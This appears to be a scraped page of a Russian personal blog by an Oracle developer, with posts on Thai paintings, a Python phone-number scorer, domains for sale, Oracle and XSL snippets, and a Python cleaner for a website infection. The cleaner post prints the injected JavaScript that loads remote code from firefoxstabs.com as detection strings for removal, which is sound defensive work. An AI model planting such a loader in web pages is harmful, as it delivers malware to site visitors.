Недавно впервые посетил Тайланд и был несколько удивлен, что живопись продают повсеместно: на улицах, в торговых центрах, в специальных магазинах-галереях. Цены приятно удивили.
Вот например этот леопард стоил 7000 бат без рамы:
Картина реально большая. Где-то 90 на 70 см.
Как такую везти домой не узнавал. В самолете - не вариант, наверное надо заказывать CARGO...
Я для первого раза ограничился маленькой картиной, чтобы поместилась в багаж. Вот она:
Чтобы понимали размер, она примерно как 2 листа A4. Масленые краски. Цена 1500 бат картина + 1000 бат за раму.
Да кстати по поводу рам у меня случился просто разрыв шаблонов, стоимость рамы примерно равна стоимости самой картины, а иногда и больше. Рамы очень дорогие, не знаю чем это обусловлено, возможно просто очередной способ содрать денег. Уже по приезду погуглил и понял что дешевле сделать раму на родине, хотя это конечно потребует определенного времени от вас. На леопарда кстати рама стоила бы 5-6 тысяч у них. Поэтому имеет смысл наверное сначала изучить цены на заказ рамы в вашем городе.
Записки ораклиста
мой блог
четверг, 31 октября 2013 г.
пятница, 27 января 2012 г.
Алгоритм определения красивости номера
Компания, в которой я работаю получила телефонную номерную емкость и менеджер попросил меня, чтобы не просматривать весь список глазами и выбирать номера, отсортировать их по степени "красивости". У меня естественно сразу же возник вопрос: а как алгоритмически определить "красивость" номера? Стало самому интересно. Первое, что пришло в голову - присвоить каждой цифре номера начальный вес и увеличивать его в зависимости от удовлетворения каким-то условиям красоты. По быстрому наваял на коленке скрипт на любимом Python'е, и вот что получилось:
#-*- coding: utf-8 -*-
import operator
"""
   Author: Shiryaev Pavel
"""
def beauty_coef(num):
 """
    Возвращает "вес" номера. Чем выше вес, тем красивее номер.
 """
 charCount = {}
 last = ""
 lastcnt = 0
 i = 0
 bc = {}
 #У каждой цифры в номере базовый коэффициент(бк) = 1.
 for char in num:
  bc[i] = 1
  charCount[char] = charCount.get(char, 0) + 1
  i += 1
 #Если в номере цифра встречается дважды, то базовый коэф такой цифры увеличивается на 2, если 3 то на 3...
 for a in range(0,i):
  if charCount[num[a]]>1:
   bc[a] += charCount[num[a]]
 #Если в номере повторяющиеся цифры идут одна за другой, то базовый коэф подряд идущих цифр увеличивается на (кол-во повторений * 2).
 for a in range(0,i):
  if num[a] == last:
   lastcnt += 1
  if num[a] != last or a == i-1:
   if lastcnt>0:
    for b in range(0, lastcnt+1):
     bc[i-b-2] += (lastcnt+1) * 2
     #Если номер заканчивается на повторяющиеся цифры, то он считается более привлекательным и каждая повторяющаяся цифра получает к БК 0.4 балла
     if a == i-1 and num[a] == last:
      bc[i-b-2] += 0.4
   lastcnt = 0
  last = num[a]
 #Если в номере есть комбинации из 2 и более цифр, то все эти цифры получают (кол-во повторений + кол-во цифр в комбинации) к бк
 for j in range(0, i-2):
  for l in range(j+2, i):
   oc = num.count(num[j:l])
   if oc > 1:
    for p in range(j,l):
     bc[p] += (oc-1)+(l-j)
 #Затем все бк складываются и получается финальный вес номера.
 return sum(bc.values())
if __name__ == "__main__":
 r = range(2801000,2802000)
 array = {}
 for a in r:
  array[a] = beauty_coef(str(a))
 sora = sorted(array.iteritems(), key=operator.itemgetter(1))
 # num, coef
 for i in sora:
  print i[0],i[1]
Код конечно получился не очень читабельный, но выдает что-то похожее на ожидаемый результат ;)
Не спрашивайте почему я увеличиваю вес на то или иное значение. Это просто импровизация, что в голову первое пришло, то и написал, а потом экспериментальным путем докрутил.
вторник, 19 июля 2011 г.
Двухбуквенные домены в зоне SU
По стечению обстоятельств я стал обладателем нескольких двухбуквенников в зоне SU. Не скрываю, что зарегистрировал большую часть на продажу.
Вот список доменов, которые продаю:
Кому интересно - пишите pws[собака]front.ru. Цены адекватные, все реально.
Вот список доменов, которые продаю:
| Имя | Тэги | 
| одежда, XL | |
| доменные имена, New Mexico | |
| от, овертайм | |
| Do, До, доска объявлений, бизнес | |
| Москва, авто, казино | |
| Самара, авто | |
| MX, mail, почта, сервер | |
| fx.su | Forex, инвестиции, биржи | 
Кому интересно - пишите pws[собака]front.ru. Цены адекватные, все реально.
понедельник, 13 июня 2011 г.
Скрипт лечения вируса firefoxstabs.com
Похоже захачили меня на днях. К некоторым js и html файлам дописался кусок javascript кода, который ходит на firefoxstabs.com и пытается загрузить какую-то заразу.
По этой теме для начала стоит прочитать пару постов, чтобы понять что это за зараза и как с ней борятся:
У скрипта на php есть пара недостатков:
Пользуйтесь:
Если просто запустить fixer.py без параметров то будет сканировать и зачищать вирус начиная с текущей директории рекурсивно, а результаты сканирования выводить на консоль.
По этой теме для начала стоит прочитать пару постов, чтобы понять что это за зараза и как с ней борятся:
У скрипта на php есть пара недостатков:
- Он переходит по симлинкам и у меня получается бесконечный цикл
 - Он правильно отрабатывает файлы только с одной точкой. Т.е. one.js он обработает, а one.two.js нет.
 
#!/usr/local/bin/python
import sys
import os
from optparse import OptionParser
"""
Author: Shiryaev Pavel
Purpose: scan and remove trojan from your site
Status description:
     [o] - trojan not found
     [d] - trojan removed
     [x] - trojan detected
     [r] - can't read file
     [!] - can't remove trojan from file
     [ ] - not scaned
"""
trojan_text = ["""<script type="text/javascript" src="https://ajax.googleapis.com/ajax/libs/jquery/1.5.1/jquery.min.js"><script type="text/javascript">var x = jQuery.noConflict(true);x(function() {var flag = 0;x(window).mousemove(function() {if (flag === 0) {flag = 1; x.getScript('http://firefoxstabs.com/' + Math.random().toString().substring(3) + '.js', function() {flag = 2;});}});});""",
"""document.write('<scr'+'ipt src="https://ajax.googleapis.com/ajax/libs/jquery/1.5.1/jquery.min.js"></scr'+'ipt>');var x = jQuery.noConflict(true);x(function() {var flag = 0;x(window).mousemove(function() {if (flag === 0) {flag = 1;x.getScript('http://firefoxstabs.com/' + Math.random().toString().substring(3) + '.js', function() {flag = 2;});}});});"""]
options = None
#checking extentions
extentions = ['js','php','html','htm','tpl']
stat = dict()
def scan_dir(wd):
  dirs = []
  cnt = 0
  showdir = False
  try:
    for element in os.listdir(wd):
      full_path = os.path.join(wd,element)
      status = " "
      #file
      if os.path.isfile(full_path):
        if os.path.split(full_path)[1].split('.')[-1] in extentions:
          status = "o"
          try:
            data = None
            file = open(full_path,"r")
            data = file.read()
            file.close()
            for trj in trojan_text:
              if data.find(trj) > 0:
                status = "x"
                if not options.findonly:
                  data = data.replace(trj," ")
                  try:
                    f = open(full_path,"w")
                    f.write(data)
                    f.close()
                    status = "d"
                  except:
                    status = "!"
          except:
            status = "r"
        try:
          stat[status] = stat[status]+1
        except KeyError:
          stat[status] = 1
        if (not options.verbose and status in ['d','!','x']) or options.verbose:
          cnt = cnt + 1
          if cnt == 1 and not showdir:
            print("\nWorking Directory: %s " % wd)
            showdir=True
          print("    [%s]  %s" % (status,element))
      #directory
      elif os.path.isdir(full_path) and (not os.path.islink(full_path) or options.uselink):
        dirs.append(full_path)
    for dir in dirs:
      scan_dir(dir)
  except OSError as e:
    print(e)
if __name__ == "__main__":
  usage = "usage: %prog [options] "
  parser = OptionParser(usage=usage)
  parser.add_option("-d", "--dir", action="store", type="string", dest="directory", help="Starting directory path, default: current directory", default=os.getcwd())
  parser.add_option("-q",action="store_false", dest="verbose", help="quite mode")
  parser.add_option("-v",action="store_true", dest="verbose", default=True, help="verbose mode, default: true")
  parser.add_option("-l",action="store_true",dest="uselink",default=False,help="Use symlinks on directories when scan, default: false")
  parser.add_option("-f",action="store_true",dest="findonly",default=False,help="Find and not delete")
  (options,args) = parser.parse_args()
  scan_dir(options.directory)
  print "-----------------------------------------------------------"
  print "   TOTAL:"
  for row in stat:
    print "     [%s] %d" % (row,stat[row])
Пользуйтесь:
Usage: fixer.py [options] > out.txt
Options:
-h, --help show this help message and exit
-d DIRECTORY, --dir=DIRECTORY
Starting directory path, default: current directory
-q quite mode
-v verbose mode, default: true
-l Use symlinks on directories when scan, default: false
-f Find and not delete
Если просто запустить fixer.py без параметров то будет сканировать и зачищать вирус начиная с текущей директории рекурсивно, а результаты сканирования выводить на консоль.
четверг, 26 мая 2011 г.
after logon session trace
Чет, надоело каждый раз искать код after logon trigger'a для трассировки сессии, вот решил в блог его запостить.
CREATE OR REPLACE TRIGGER after_logon_trg
AFTER logon ON DATABASE
declare
  mo varchar2(100);
  ma varchar2(100);
BEGIN
  SELECT module, machine into mo,ma
  FROM v$session
  WHERE audsid = USERENV ('sessionid') AND ROWNUM <= 1;
  IF (mo='JDBC Thin Client' and USER='SHIRYAEV') THEN
     EXECUTE IMMEDIATE 'ALTER SESSION SET max_dump_file_size=unlimited';
     EXECUTE IMMEDIATE 'ALTER SESSION SET tracefile_identifier=''id''';
     EXECUTE IMMEDIATE 'ALTER SESSION SET EVENTS ''10046 trace name context forever, level 12''';
  end if;
END;
вторник, 30 ноября 2010 г.
XSL Template для замены CRLF на <br />
sabj :
Вызываем так:
P.S.: За подсветку кода спасибо маньякам ;)
<xsl:template name="substitute">
<xsl:param name="string" />
<xsl:param name="from" select="'
'" />
<xsl:param name="to">
<br />
</xsl:param>
<xsl:choose>
<xsl:when test="contains($string, $from)">
<xsl:value-of select="substring-before($string, $from)" />
<xsl:copy-of select="$to" />
<xsl:call-template name="substitute">
<xsl:with-param name="string"
select="substring-after($string, $from)" />
<xsl:with-param name="from" select="$from" />
<xsl:with-param name="to" select="$to" />
</xsl:call-template>
</xsl:when>
<xsl:otherwise>
<xsl:value-of select="$string" />
</xsl:otherwise>
</xsl:choose>
</xsl:template>
Вызываем так:
<xsl:call-template name="substitute">
<xsl:with-param name="string" select="." />
</xsl:call-template>
P.S.: За подсветку кода спасибо маньякам ;)
понедельник, 2 августа 2010 г.
ORA-04052: error occurred when looking up remote object
Нашел сообщение в черновике, которое написал уже давно, и решил опубликовать, т.к. на днях разобрались с этой историей.
Накатывал большой патч на серверную логику продуктивной БД. Изменения в пакетах, триггерах, альтеры таблиц и пр. После чего получил инвалидные объекты с ошибками следующего содержания:
DBA в отпуске был. Два часа часть функционала была недоступна. Google навел меня на информацию о баге в Oracle 9, проявляющуюся при компиляции кода, где есть связь по dblink с базой на другой платформе. В нашем случае это был Oracle 9.2.0.8 на Solaris SPARC и та-же версия на CentOS x86.
Придумал быстрый workaround: создать на той же базе схему c таким же именем и с объектами, на которые смотрит dblink(благо объектов было всего с десяток), в tnsnames заменить адрес удаленной базы на локальную, перекомпилить пакеты и поменять tnsnames обратно.
C этой страшной багой мы жили несколько месяцев, каждый раз боясь инвалидировать код, работающий с dblink'ом, но все равно пару раз повторялось.
Все это закончилось тем, что мы наконец перешли на 10g, где такой ошибки нет. Ура!!!
Накатывал большой патч на серверную логику продуктивной БД. Изменения в пакетах, триггерах, альтеры таблиц и пр. После чего получил инвалидные объекты с ошибками следующего содержания:
Error: PL/SQL: ORA-04052: error occurred when looking up remote object CMS.USERS_TABLE@DB1.RESTRICTED
       ORA-00604: error occurred at recursive SQL level 1
       ORA-03106: fatal two-task communication protocol error
       ORA-02063: preceding line from DB1.RESTRICTED
Line: 35
Text: insert into users_table@db1.restricted(login_id,user_name,serv_group_id,
DBA в отпуске был. Два часа часть функционала была недоступна. Google навел меня на информацию о баге в Oracle 9, проявляющуюся при компиляции кода, где есть связь по dblink с базой на другой платформе. В нашем случае это был Oracle 9.2.0.8 на Solaris SPARC и та-же версия на CentOS x86.
Придумал быстрый workaround: создать на той же базе схему c таким же именем и с объектами, на которые смотрит dblink(благо объектов было всего с десяток), в tnsnames заменить адрес удаленной базы на локальную, перекомпилить пакеты и поменять tnsnames обратно.
C этой страшной багой мы жили несколько месяцев, каждый раз боясь инвалидировать код, работающий с dblink'ом, но все равно пару раз повторялось.
Все это закончилось тем, что мы наконец перешли на 10g, где такой ошибки нет. Ура!!!
Подписаться на:
Комментарии (Atom)

